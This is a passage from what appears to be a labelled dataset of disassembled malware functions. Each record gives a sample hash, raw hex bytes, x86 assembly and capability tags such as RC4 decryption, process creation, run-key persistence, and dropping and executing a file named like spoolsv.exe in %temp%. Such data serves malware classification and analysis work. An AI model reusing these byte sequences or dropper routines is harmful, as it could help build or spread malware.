"mov ecx, dword [ebp - 0xc]",
"mov dl, 1",
"mov eax, dword [0x406d5c]",
"call fcn.00409824",
"call fcn.00403f88",
"jmp 0x40e436",
"mov eax, esi",
"mov edx, dword [ebp - 4]",
"call fcn.00404c98",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40e510",
"lea eax, [ebp - 0x24]",
"mov edx, 3",
"call fcn.00404c90",
"lea eax, [ebp - 0xc]",
"mov edx, 3",
"call fcn.00404c90",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40e538
|
[
"Shutdown system"
] |
83c4eca17c2c4100833802755b546a28e87b81ffff50e8cd80ffff85c0750433c0eb548d4424085068b4e540006a00e8ac80ffffc744240401000000c7442410020000006a006a006a008d442410506a008b44241450e89dffffffe86881ffff85c0740433c0eb0f6a006a02e8fb82ffff83f8011bc04083c414c3
|
[
"add esp, 0xffffffec",
"mov eax, dword [0x412c7c]",
"cmp dword [eax], 2",
"jne 0x40e5a0",
"push esp",
"push 0x28",
"call sub.kernel32.dll_GetCurrentProcess",
"push eax",
"call sub.advapi32.dll_OpenProcessToken",
"test eax, eax",
"jne 0x40e55b",
"xor eax, eax",
"jmp 0x40e5af",
"lea eax, [esp + 8]",
"push eax",
"push 0x40e5b4",
"push 0",
"call sub.advapi32.dll_LookupPrivilegeValueW",
"mov dword [esp + 4], 1",
"mov dword [esp + 0x10], 2",
"push 0",
"push 0",
"push 0",
"lea eax, [esp + 0x10]",
"push eax",
"push 0",
"mov eax, dword [esp + 0x14]",
"push eax",
"call sub.advapi32.dll_AdjustTokenPrivileges",
"call sub.kernel32.dll_GetLastError",
"test eax, eax",
"je 0x40e5a0",
"xor eax, eax",
"jmp 0x40e5af",
"push 0",
"push 2",
"call sub.user32.dll_ExitWindowsEx",
"cmp eax, 1",
"sbb eax, eax",
"inc eax",
"add esp, 0x14",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40e5dc
|
[
"Check if file exists"
] |
558bec515356578955fc8bd88bf14e85f67c474633ff83ff01750b8b450c50e8ccc5ffffeb0e83ff017e098b450850e8bcc5ffff8b55fc8bc3e84efbffff85c07518e8dd80ffff83f802740ee8d380ffff83f8037404474e75bc5f5e5b595dc20800
|
[
"push ebp",
"mov ebp, esp",
"push ecx",
"push ebx",
"push esi",
"push edi",
"mov dword [ebp - 4], edx",
"mov ebx, eax",
"mov esi, ecx",
"dec esi",
"test esi, esi",
"jl 0x40e636",
"inc esi",
"xor edi, edi",
"cmp edi, 1",
"jne 0x40e602",
"mov eax, dword [ebp + 0xc]",
"push eax",
"call sub.kernel32.dll_Sleep_1",
"jmp 0x40e610",
"cmp edi, 1",
"jle 0x40e610",
"mov eax, dword [ebp + 8]",
"push eax",
"call sub.kernel32.dll_Sleep_1",
"mov edx, dword [ebp - 4]",
"mov eax, ebx",
"call fcn.0040e168",
"test eax, eax",
"jne 0x40e636",
"call sub.kernel32.dll_GetLastError",
"cmp eax, 2",
"je 0x40e636",
"call sub.kernel32.dll_GetLastError",
"cmp eax, 3",
"je 0x40e636",
"inc edi",
"dec esi",
"jne 0x40e5f2",
"pop edi",
"pop esi",
"pop ebx",
"pop ecx",
"pop ebp",
"ret 8"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40e640
|
[
"Get geographical location"
] |
558bec51538bd86a028d45fc5068041000200fb7c350e8ad80ffff85c07e058b45fceb0383c8ff5b595dc3
|
[
"push ebp",
"mov ebp, esp",
"push ecx",
"push ebx",
"mov ebx, eax",
"push 2",
"lea eax, [ebp - 4]",
"push eax",
"push 0x20001004",
"movzx eax, bx",
"push eax",
"call sub.kernel32.dll_GetLocaleInfoW_1",
"test eax, eax",
"jle 0x40e664",
"mov eax, dword [ebp - 4]",
"jmp 0x40e667",
"or eax, 0xffffffff",
"pop ebx",
"pop ecx",
"pop ebp",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40e66c
|
[
"Identify system language via api"
] |
558bec83c4f85356578bf18855ff8bf88b450833d28910c645fe0085f6742e33dbeb1f8b45f88b108bc6e84195ffff85c0750e8b45088918c645fe02e9b6000000438d55f88bc3ffd784c075d60fb645ff2c017204740beb12e8ead5ffff8bf0eb0be8e980ffff8bf0eb0233f66685f60f848100000033dbeb198b45f88b40280fb7d63bc2750b8b45088918c645fe01eb65438d55f88bc3ffd784c075dc33dbeb4a8b45f88b402825ff0300008bd66681e2ff030fb7d23bc275308bc66625ff036683f80475198b45f80fb74028e801ffffff508bc6e8f9feffff5a3bd0750b8b45088918c645fe01eb0c438d55f88bc3ffd784c075ab0fb645fe5f5e5b59595dc20400
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xfffffff8",
"push ebx",
"push esi",
"push edi",
"mov esi, ecx",
"mov byte [ebp - 1], dl",
"mov edi, eax",
"mov eax, dword [ebp + 8]",
"xor edx, edx",
"mov dword [eax], edx",
"mov byte [ebp - 2], 0",
"test esi, esi",
"je 0x40e6b9",
"xor ebx, ebx",
"jmp 0x40e6ae",
"mov eax, dword [ebp - 8]",
"mov edx, dword [eax]",
"mov eax, esi",
"call fcn.00407bdc",
"test eax, eax",
"jne 0x40e6ad",
"mov eax, dword [ebp + 8]",
"mov dword [eax], ebx",
"mov byte [ebp - 2], 2",
"jmp 0x40e763",
"inc ebx",
"lea edx, [ebp - 8]",
"mov eax, ebx",
"call edi",
"test al, al",
"jne 0x40e68f",
"movzx eax, byte [ebp - 1]",
"sub al, 1",
"jb 0x40e6c5",
"je 0x40e6ce",
"jmp 0x40e6d7",
"call fcn.0040bcb4",
"mov esi, eax",
"jmp 0x40e6d9",
"call sub.kernel32.dll_GetUserDefaultLangID",
"mov esi, eax",
"jmp 0x40e6d9",
"xor esi, esi",
"test si, si",
"je 0x40e763",
"xor ebx, ebx",
"jmp 0x40e6ff",
"mov eax, dword [ebp - 8]",
"mov eax, dword [eax + 0x28]",
"movzx edx, si",
"cmp eax, edx",
"jne 0x40e6fe",
"mov eax, dword [ebp + 8]",
"mov dword [eax], ebx",
"mov byte [ebp - 2], 1",
"jmp 0x40e763",
"inc ebx",
"lea edx, [ebp - 8]",
"mov eax, ebx",
"call edi",
"test al, al",
"jne 0x40e6e6",
"xor ebx, ebx",
"jmp 0x40e758",
"mov eax, dword [ebp - 8]",
"mov eax, dword [eax + 0x28]",
"and eax, 0x3ff",
"mov edx, esi",
"and dx, 0x3ff",
"movzx edx, dx",
"cmp eax, edx",
"jne 0x40e757",
"mov eax, esi",
"and ax, 0x3ff",
"cmp ax, 4",
"jne 0x40e74c",
"mov eax, dword [ebp - 8]",
"movzx eax, word [eax + 0x28]",
"call fcn.0040e640",
"push eax",
"mov eax, esi",
"call fcn.0040e640",
"pop edx",
"cmp edx, eax",
"jne 0x40e757",
"mov eax, dword [ebp + 8]",
"mov dword [eax], ebx",
"mov byte [ebp - 2], 1",
"jmp 0x40e763",
"inc ebx",
"lea edx, [ebp - 8]",
"mov eax, ebx",
"call edi",
"test al, al",
"jne 0x40e70e",
"movzx eax, byte [ebp - 2]",
"pop edi",
"pop esi",
"pop ebx",
"pop ecx",
"pop ecx",
"pop ebp",
"ret 4"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40eb50
|
[
"Create process on windows",
"Create process suspended"
] |
558bec83c4a853565733db895dfc8bf98bf28bd833c0556825ec400064ff306489206840ec4000536850ec4000568d45fcba04000000e8b165ffff8d45b833c9ba44000000e8b646ffffc745b8440000008d45a8508d45b8506a006a006a006a006a006a008b45fce86761ffff506a00e89b7affff85c07507b06ae8a0fbffff8b45ac50e8677affffe846ffffff68ff0000006aff6a008d45a8506a01e8d27cffff83f80174e2e828ffffff578b45a850e8da7affff8b45a850e8317affff33c05a5959648910682cec40008d45fce86460ffffc3
|
[
"push ebp",
"mov ebp, esp",
"add esp, 0xffffffa8",
"push ebx",
"push esi",
"push edi",
"xor ebx, ebx",
"mov dword [ebp - 4], ebx",
"mov edi, ecx",
"mov esi, edx",
"mov ebx, eax",
"xor eax, eax",
"push ebp",
"push 0x40ec25",
"push dword fs:[eax]",
"mov dword fs:[eax], esp",
"push 0x40ec40",
"push ebx",
"push 0x40ec50",
"push esi",
"lea eax, [ebp - 4]",
"mov edx, 4",
"call fcn.0040513c",
"lea eax, [ebp - 0x48]",
"xor ecx, ecx",
"mov edx, 0x44",
"call fcn.00403250",
"mov dword [ebp - 0x48], 0x44",
"lea eax, [ebp - 0x58]",
"push eax",
"lea eax, [ebp - 0x48]",
"push eax",
"push 0",
"push 0",
"push 0",
"push 0",
"push 0",
"push 0",
"mov eax, dword [ebp - 4]",
"call fcn.00404d24",
"push eax",
"push 0",
"call sub.kernel32.dll_CreateProcessW",
"test eax, eax",
"jne 0x40ebd0",
"mov al, 0x6a",
"call fcn.0040e770",
"mov eax, dword [ebp - 0x54]",
"push eax",
"call sub.kernel32.dll_CloseHandle_1",
"call fcn.0040eb24",
"push 0xff",
"push 0xffffffffffffffff",
"push 0",
"lea eax, [ebp - 0x58]",
"push eax",
"push 1",
"call sub.user32.dll_MsgWaitForMultipleObjects",
"cmp eax, 1",
"je 0x40ebd9",
"call fcn.0040eb24",
"push edi",
"mov eax, dword [ebp - 0x58]",
"push eax",
"call sub.kernel32.dll_GetExitCodeProcess",
"mov eax, dword [ebp - 0x58]",
"push eax",
"call sub.kernel32.dll_CloseHandle_1",
"xor eax, eax",
"pop edx",
"pop ecx",
"pop ecx",
"mov dword fs:[eax], edx",
"push 0x40ec2c",
"lea eax, [ebp - 4]",
"call fcn.00404c88",
"ret"
] |
02dca77e658415bf935751d1270dbc703624c989fbfb31d534c35e4d9cfe796a
|
0x40ed40
|
[
"Allocate or change rwx memory",
"Get system information on windows"
] |
5356575583c4b48904248d7424308d44240c50e8547affff8b3c246a1c5657e8007bffff85c00f849f000000e98e000000817e10001000007571f6461501756bc6442404008b6e1483fd01740f83fd02740a83fd10740583fd20751c8d442408506a408b460c508b0650e8ad7affff85c07405c64424040133dbeb0d8b0603c3e873ffffff035c24103b5e0c72ee807c24040074168d442408508b44240c508b460c508b0650e8717affff8b0603460c89c76a1c5657e8697affff85c0740c8b46043b04240f8466ffffff83c44c5d5f5e5bc3
|
[
"push ebx",
"push esi",
"push edi",
"push ebp",
"add esp, 0xffffffb4",
"mov dword [esp], eax",
"lea esi, [esp + 0x30]",
"lea eax, [esp + 0xc]",
"push eax",
"call sub.kernel32.dll_GetSystemInfo_1",
"mov edi, dword [esp]",
"push 0x1c",
"push esi",
"push edi",
"call sub.kernel32.dll_VirtualQuery_1",
"test eax, eax",
"je 0x40ee0b",
"jmp 0x40edff",
"cmp dword [esi + 0x10], 0x1000",
"jne 0x40edeb",
"test byte [esi + 0x15], 1",
"jne 0x40edeb",
"mov byte [esp + 4], 0",
"mov ebp, dword [esi + 0x14]",
"cmp ebp, 1",
"je 0x40ed9c",
"cmp ebp, 2",
"je 0x40ed9c",
"cmp ebp, 0x10",
"je 0x40ed9c",
"cmp ebp, 0x20",
"jne 0x40edb8",
"lea eax, [esp + 8]",
"push eax",
"push 0x40",
"mov eax, dword [esi + 0xc]",
"push eax",
"mov eax, dword [esi]",
"push eax",
"call sub.kernel32.dll_VirtualProtect",
"test eax, eax",
"je 0x40edb8",
"mov byte [esp + 4], 1",
"xor ebx, ebx",
"jmp 0x40edc9",
"mov eax, dword [esi]",
"add eax, ebx",
"call fcn.0040ed38",
"add ebx, dword [esp + 0x10]",
"cmp ebx, dword [esi + 0xc]",
"jb 0x40edbc",
"cmp byte [esp + 4], 0",
"je 0x40edeb",
"lea eax, [esp + 8]",
"push eax",
"mov eax, dword [esp + 0xc]",
"push eax",
"mov eax, dword [esi + 0xc]",
"push eax",
"mov eax, dword [esi]",
"push eax",
"call sub.kernel32.dll_VirtualProtect",
"mov eax, dword [esi]",
"add eax, dword [esi + 0xc]",
"mov edi, eax",
"push 0x1c",
"push esi",
"push edi",
"call sub.kernel32.dll_VirtualQuery_1",
"test eax, eax",
"je 0x40ee0b",
"mov eax, dword [esi + 4]",
"cmp eax, dword [esp]",
"je 0x40ed71",
"add esp, 0x4c",
"pop ebp",
"pop edi",
"pop esi",
"pop ebx",
"ret"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x401290
|
[
"Encode data using xor",
"Hash data with crc32"
] |
558bec81ec04040000a11870400033c58945fc56578bf983ceff33c98d6424008bc1d1e8898c8dfcfbfffff6c1017405352083b8ed89848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffffa8017409d1e8352083b8edeb02d1e889848dfcfbffff4181f9000100000f823dffffff33c985d274218da424000000000fb6043933c625ff000000c1ee0833b485fcfbffff413bca72e68b4dfcf7d65f8bc633cd5ee8082200008be55dc3
|
[
"push ebp",
"mov ebp, esp",
"sub esp, 0x404",
"mov eax, dword [0x407018]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push esi",
"push edi",
"mov edi, ecx",
"or esi, 0xffffffff",
"xor ecx, ecx",
"lea esp, [esp]",
"mov eax, ecx",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], ecx",
"test cl, 1",
"je 0x4012c5",
"xor eax, 0xedb88320",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x4012d9",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x4012db",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x4012ef",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x4012f1",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x401305",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x401307",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x40131b",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x40131d",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x401331",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x401333",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x401347",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x401349",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"test al, 1",
"je 0x40135d",
"shr eax, 1",
"xor eax, 0xedb88320",
"jmp 0x40135f",
"shr eax, 1",
"mov dword [ebp + ecx*4 - 0x404], eax",
"inc ecx",
"cmp ecx, 0x100",
"jb 0x4012b0",
"xor ecx, ecx",
"test edx, edx",
"je 0x40139a",
"lea esp, [esp]",
"movzx eax, byte [ecx + edi]",
"xor eax, esi",
"and eax, 0xff",
"shr esi, 8",
"xor esi, dword [ebp + eax*4 - 0x404]",
"inc ecx",
"cmp ecx, edx",
"jb 0x401380",
"mov ecx, dword [ebp - 4]",
"not esi",
"pop edi",
"mov eax, esi",
"xor ecx, ebp",
"pop esi",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x4013b0
|
[
"Encode data using xor",
"Encrypt data using rc4 prga"
] |
558bec81ec0c010000a11870400033c58945fc538b5d0856578995f8feffff898df4feffff33c0eb07888405fcfeffff403d0001000072f133ff33f68a9435fcfeffff8bc683e00f0fb6ca0fb6041803f803f981e7ff000000468a843dfcfeffff888435fbfeffff88943dfcfeffff81fe0001000072c533db33f633ff399df8feffff76618d6424004681e6ff000000478a9435fcfeffff0fb6c203d881e3ff0000000fb6841dfcfeffff888435fcfeffff88941dfcfeffff0fb68c35fcfeffff0fb6c203c881e1ff0000000fb6840dfcfeffff8b8df4feffff304439ff3bbdf8feffff72a38b4dfc5f5e33cd5be8082100008be55dc20400
|
[
"push ebp",
"mov ebp, esp",
"sub esp, 0x10c",
"mov eax, dword [0x407018]",
"xor eax, ebp",
"mov dword [ebp - 4], eax",
"push ebx",
"mov ebx, dword [ebp + 8]",
"push esi",
"push edi",
"mov dword [ebp - 0x108], edx",
"mov dword [ebp - 0x10c], ecx",
"xor eax, eax",
"jmp 0x4013e0",
"mov byte [ebp + eax - 0x104], al",
"inc eax",
"cmp eax, 0x100",
"jb 0x4013e0",
"xor edi, edi",
"xor esi, esi",
"mov dl, byte [ebp + esi - 0x104]",
"mov eax, esi",
"and eax, 0xf",
"movzx ecx, dl",
"movzx eax, byte [eax + ebx]",
"add edi, eax",
"add edi, ecx",
"and edi, 0xff",
"inc esi",
"mov al, byte [ebp + edi - 0x104]",
"mov byte [ebp + esi - 0x105], al",
"mov byte [ebp + edi - 0x104], dl",
"cmp esi, 0x100",
"jb 0x4013f3",
"xor ebx, ebx",
"xor esi, esi",
"xor edi, edi",
"cmp dword [ebp - 0x108], ebx",
"jbe 0x40149d",
"lea esp, [esp]",
"inc esi",
"and esi, 0xff",
"inc edi",
"mov dl, byte [ebp + esi - 0x104]",
"movzx eax, dl",
"add ebx, eax",
"and ebx, 0xff",
"movzx eax, byte [ebp + ebx - 0x104]",
"mov byte [ebp + esi - 0x104], al",
"mov byte [ebp + ebx - 0x104], dl",
"movzx ecx, byte [ebp + esi - 0x104]",
"movzx eax, dl",
"add ecx, eax",
"and ecx, 0xff",
"movzx eax, byte [ebp + ecx - 0x104]",
"mov ecx, dword [ebp - 0x10c]",
"xor byte [ecx + edi - 1], al",
"cmp edi, dword [ebp - 0x108]",
"jb 0x401440",
"mov ecx, dword [ebp - 4]",
"pop edi",
"pop esi",
"xor ecx, ebp",
"pop ebx",
"call fcn.004035b2",
"mov esp, ebp",
"pop ebp",
"ret 4"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x4014b0
|
[
"Get file size",
"Read file on windows"
] |
558bec51566a006a006a036a006a0068000000c051ff152c5040008bf083feff750733c05e8be55dc353576a0056ff15605040008bd88d4b0c516a40ff153c5040008bf885ff751056ff150452400033c05f5b5e8be55dc36a008d45fc50538d47085056ff152850400085c0751756ff150452400057ff154450400033c05f5b5e8be55dc36a006a006a0056891f897704ff15385040008bc75f5b5e8be55dc3
|
[
"push ebp",
"mov ebp, esp",
"push ecx",
"push esi",
"push 0",
"push 0",
"push 3",
"push 0",
"push 0",
"push 0xc0000000",
"push ecx",
"call dword [sym.imp.KERNEL32.dll_CreateFileW]",
"mov esi, eax",
"cmp esi, 0xffffffff",
"jne 0x4014d9",
"xor eax, eax",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret",
"push ebx",
"push edi",
"push 0",
"push esi",
"call dword [sym.imp.KERNEL32.dll_GetFileSize]",
"mov ebx, eax",
"lea ecx, [ebx + 0xc]",
"push ecx",
"push 0x40",
"call dword [sym.imp.KERNEL32.dll_LocalAlloc]",
"mov edi, eax",
"test edi, edi",
"jne 0x401508",
"push esi",
"call dword [sym.imp.ntdll.dll_NtClose]",
"xor eax, eax",
"pop edi",
"pop ebx",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret",
"push 0",
"lea eax, [ebp - 4]",
"push eax",
"push ebx",
"lea eax, [edi + 8]",
"push eax",
"push esi",
"call dword [sym.imp.KERNEL32.dll_ReadFile]",
"test eax, eax",
"jne 0x401535",
"push esi",
"call dword [sym.imp.ntdll.dll_NtClose]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_LocalFree]",
"xor eax, eax",
"pop edi",
"pop ebx",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret",
"push 0",
"push 0",
"push 0",
"push esi",
"mov dword [edi], ebx",
"mov dword [edi + 4], esi",
"call dword [sym.imp.KERNEL32.dll_SetFilePointer]",
"mov eax, edi",
"pop edi",
"pop ebx",
"pop esi",
"mov esp, ebp",
"pop ebp",
"ret"
] |
02e4a6264033a60195e1095ccbbfcea6130dcbac7dd0fa2ac5b261082e0b3508
|
0x401550
|
[
"Create process on windows",
"Create process suspended",
"Generate random numbers via winapi",
"Persist via run registry key",
"Query environment variable",
"Set registry value",
"Terminate process",
"Write and execute a file",
"Write file on windows"
] |
558bec81ec30050000a11870400033c58945f853568b5d0857898d3cfbffffb91f000000bed05240008dbd54fffffff3a566a58bb53cfbffff8b3d0452400083c6e803f2899544fbffff813e4b4e520a89b548fbffff0f85130200008b56048bce8d46082bca50898d4cfbffffe8eefdffff33ff8d8538fbffff506a04ff3550764000c78538fbffff00000000ff15045040008bb538fbffffb885104208f7e68bce2bcad1e903cac1e9058bc1c1e0052bc103c02bf047668b847554ffffff6689447dd683ff0f72ab03ff83ff200f837f03000033c06689443dd868000200008d8554fbffff506850534000ff15485040008d55d88bf2668b0283c2026685c075f58dbd54fbffff2bd683c7fe8d4900668b470283c7026685c075f48bcac1e902f3a58bca83e103f3a48d8d54fbffff83c1fe668b41028d49026685c075f4a1605340006a006a008901a1645340006a0289410466a1685340006a006a006689410868000000408d8554fbffff50ff152c5040008bf883ffff0f84f80000006a008d8530fbffff508b8548fbffffff7004ffb54cfbffff57ff1524504000578b3d045240008bf0ffd785f60f84cc0000006a448d85d4faffff6a0050e8432900000f57c08dbd54fbffff83c40c660fd68520fbffff660fd68528fbffff83c7fe668b47028d7f026685c075f4a16c53400089078bf3668b0383c3026685c075f58dbd54fbffff2bde83c7feeb03668b470283c7026685c075f48d8520fbffff508d85d4faffff506a008bcbc1e9026a00f3a56a006a006a006a008d8554fbffff8bcb5083e1036a00f3a4ff151c5040008b3d0452400085c07420ffb524fbffffffd7ffb520fbffffffd7eb0e8b8d30fbffffeb188b3d045240008b8d4cfbffff8b9544fbffff8bb548fbffff8b853cfbffffa3547640008b063d4b4e520a75062b560483ea18ff760433db3d4b4e520a6a00518915487640000f94c3e84028000083c40c8d8543fbffff500f57c06a00660fd6066a01660fd646086a14660fd64610ff150052400085c068000200000f99c18d8554fbffff50ba9c53400084c9b8705340000f44c250888d53fbffffff15485040006a006a006a026a006a0068000000408d8554fbffff50ff152c5040008bf083feff741f6a008d8530fbffff50ff3548764000ff355476400056ff152450400056ffd78d8534fbffff5033c0388553fbffff68c85340000f95c0050100008050ff150850400085c0754e8d8d54fbffff8d51028d9b00000000668b0183c1026685c075f52bcad1f98d044d02000000508d8554fbffff506a016a006824544000ffb534fbffffff1510504000ffb534fbffffff150050400085db74576a448d85d4faffff6a0050e82127000083c40c8d8520fbffff508d85d4faffff506a006a006a006a006a006a000f57c06a008d8554fbffff50660fd68520fbffff660fd68528fbffffff151c5040006a00ff156c5040008b15487640008b0d54764000e805f9ffff8b4df85f5e33cda3587640005be8151c00008be55dc20400e8641e0000cc
|
[
"push ebp",
"mov ebp, esp",
"sub esp, 0x530",
"mov eax, dword [0x407018]",
"xor eax, ebp",
"mov dword [ebp - 8], eax",
"push ebx",
"push esi",
"mov ebx, dword [ebp + 8]",
"push edi",
"mov dword [ebp - 0x4c4], ecx",
"mov ecx, 0x1f",
"mov esi, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
"lea edi, [ebp - 0xac]",
"rep movsd dword es:[edi], dword [esi]",
"movsw word es:[edi], word [esi]",
"mov esi, dword [ebp - 0x4c4]",
"mov edi, dword [sym.imp.ntdll.dll_NtClose]",
"add esi, 0xffffffe8",
"add esi, edx",
"mov dword [ebp - 0x4bc], edx",
"cmp dword [esi], 0xa524e4b",
"mov dword [ebp - 0x4b8], esi",
"jne 0x4017bf",
"mov edx, dword [esi + 4]",
"mov ecx, esi",
"lea eax, [esi + 8]",
"sub ecx, edx",
"push eax",
"mov dword [ebp - 0x4b4], ecx",
"call fcn.004013b0",
"xor edi, edi",
"lea eax, [ebp - 0x4c8]",
"push eax",
"push 4",
"push dword [0x407650]",
"mov dword [ebp - 0x4c8], 0",
"call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]",
"mov esi, dword [ebp - 0x4c8]",
"mov eax, 0x8421085",
"mul esi",
"mov ecx, esi",
"sub ecx, edx",
"shr ecx, 1",
"add ecx, edx",
"shr ecx, 5",
"mov eax, ecx",
"shl eax, 5",
"sub eax, ecx",
"add eax, eax",
"sub esi, eax",
"inc edi",
"mov ax, word [ebp + esi*2 - 0xac]",
"mov word [ebp + edi*2 - 0x2a], ax",
"cmp edi, 0xf",
"jb 0x4015c4",
"add edi, edi",
"cmp edi, 0x20",
"jae 0x4019a3",
"xor eax, eax",
"mov word [ebp + edi - 0x28], ax",
"push 0x200",
"lea eax, [ebp - 0x4ac]",
"push eax",
"push str._temp__",
"call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]",
"lea edx, [ebp - 0x28]",
"mov esi, edx",
"mov ax, word [edx]",
"add edx, 2",
"test ax, ax",
"jne 0x401647",
"lea edi, [ebp - 0x4ac]",
"sub edx, esi",
"add edi, 0xfffffffe",
"lea ecx, [ecx]",
"mov ax, word [edi + 2]",
"add edi, 2",
"test ax, ax",
"jne 0x401660",
"mov ecx, edx",
"shr ecx, 2",
"rep movsd dword es:[edi], dword [esi]",
"mov ecx, edx",
"and ecx, 3",
"rep movsb byte es:[edi], byte [esi]",
"lea ecx, [ebp - 0x4ac]",
"add ecx, 0xfffffffe",
"mov ax, word [ecx + 2]",
"lea ecx, [ecx + 2]",
"test ax, ax",
"jne 0x401683",
"mov eax, dword [str..exe]",
"push 0",
"push 0",
"mov dword [ecx], eax",
"mov eax, dword [0x405364]",
"push 2",
"mov dword [ecx + 4], eax",
"mov ax, word [0x405368]",
"push 0",
"push 0",
"mov word [ecx + 8], ax",
"push 0x40000000",
"lea eax, [ebp - 0x4ac]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CreateFileW]",
"mov edi, eax",
"cmp edi, 0xffffffff",
"je 0x4017c7",
"push 0",
"lea eax, [ebp - 0x4d0]",
"push eax",
"mov eax, dword [ebp - 0x4b8]",
"push dword [eax + 4]",
"push dword [ebp - 0x4b4]",
"push edi",
"call dword [sym.imp.KERNEL32.dll_WriteFile]",
"push edi",
"mov edi, dword [sym.imp.ntdll.dll_NtClose]",
"mov esi, eax",
"call edi",
"test esi, esi",
"je 0x4017cd",
"push 0x44",
"lea eax, [ebp - 0x52c]",
"push 0",
"push eax",
"call sub.MSVCR110.dll_memset",
"xorps xmm0, xmm0",
"lea edi, [ebp - 0x4ac]",
"add esp, 0xc",
"movq qword [ebp - 0x4e0], xmm0",
"movq qword [ebp - 0x4d8], xmm0",
"add edi, 0xfffffffe",
"mov ax, word [edi + 2]",
"lea edi, [edi + 2]",
"test ax, ax",
"jne 0x401730",
"mov eax, dword [0x40536c]",
"mov dword [edi], eax",
"mov esi, ebx",
"mov ax, word [ebx]",
"add ebx, 2",
"test ax, ax",
"jne 0x401745",
"lea edi, [ebp - 0x4ac]",
"sub ebx, esi",
"add edi, 0xfffffffe",
"jmp 0x401760",
"mov ax, word [edi + 2]",
"add edi, 2",
"test ax, ax",
"jne 0x401760",
"lea eax, [ebp - 0x4e0]",
"push eax",
"lea eax, [ebp - 0x52c]",
"push eax",
"push 0",
"mov ecx, ebx",
"shr ecx, 2",
"push 0",
"rep movsd dword es:[edi], dword [esi]",
"push 0",
"push 0",
"push 0",
"push 0",
"lea eax, [ebp - 0x4ac]",
"mov ecx, ebx",
"push eax",
"and ecx, 3",
"push 0",
"rep movsb byte es:[edi], byte [esi]",
"call dword [sym.imp.KERNEL32.dll_CreateProcessW]",
"mov edi, dword [sym.imp.ntdll.dll_NtClose]",
"test eax, eax",
"je 0x4017cd",
"push dword [ebp - 0x4dc]",
"call edi",
"push dword [ebp - 0x4e0]",
"call edi",
"jmp 0x4017cd",
"mov ecx, dword [ebp - 0x4d0]",
"jmp 0x4017df",
"mov edi, dword [sym.imp.ntdll.dll_NtClose]",
"mov ecx, dword [ebp - 0x4b4]",
"mov edx, dword [ebp - 0x4bc]",
"mov esi, dword [ebp - 0x4b8]",
"mov eax, dword [ebp - 0x4c4]",
"mov dword [0x407654], eax",
"mov eax, dword [esi]",
"cmp eax, 0xa524e4b",
"jne 0x4017f9",
"sub edx, dword [esi + 4]",
"sub edx, 0x18",
"push dword [esi + 4]",
"xor ebx, ebx",
"cmp eax, 0xa524e4b",
"push 0",
"push ecx",
"mov dword [0x407648], edx",
"sete bl",
"call sub.MSVCR110.dll_memset",
"add esp, 0xc",
"lea eax, [ebp - 0x4bd]",
"push eax",
"xorps xmm0, xmm0",
"push 0",
"movq qword [esi], xmm0",
"push 1",
"movq qword [esi + 8], xmm0",
"push 0x14",
"movq qword [esi + 0x10], xmm0",
"call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]",
"test eax, eax",
"push 0x200",
"setns cl",
"lea eax, [ebp - 0x4ac]",
"push eax",
"mov edx, str._temp__spoolsv.exe",
"test cl, cl",
"mov eax, 0x405370",
"cmove eax, edx",
"push eax",
"mov byte [ebp - 0x4ad], cl",
"call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]",
"push 0",
"push 0",
"push 2",
"push 0",
"push 0",
"push 0x40000000",
"lea eax, [ebp - 0x4ac]",
"push eax",
"call dword [sym.imp.KERNEL32.dll_CreateFileW]",
"mov esi, eax",
"cmp esi, 0xffffffff",
"je 0x4018aa",
"push 0",
"lea eax, [ebp - 0x4d0]",
"push eax",
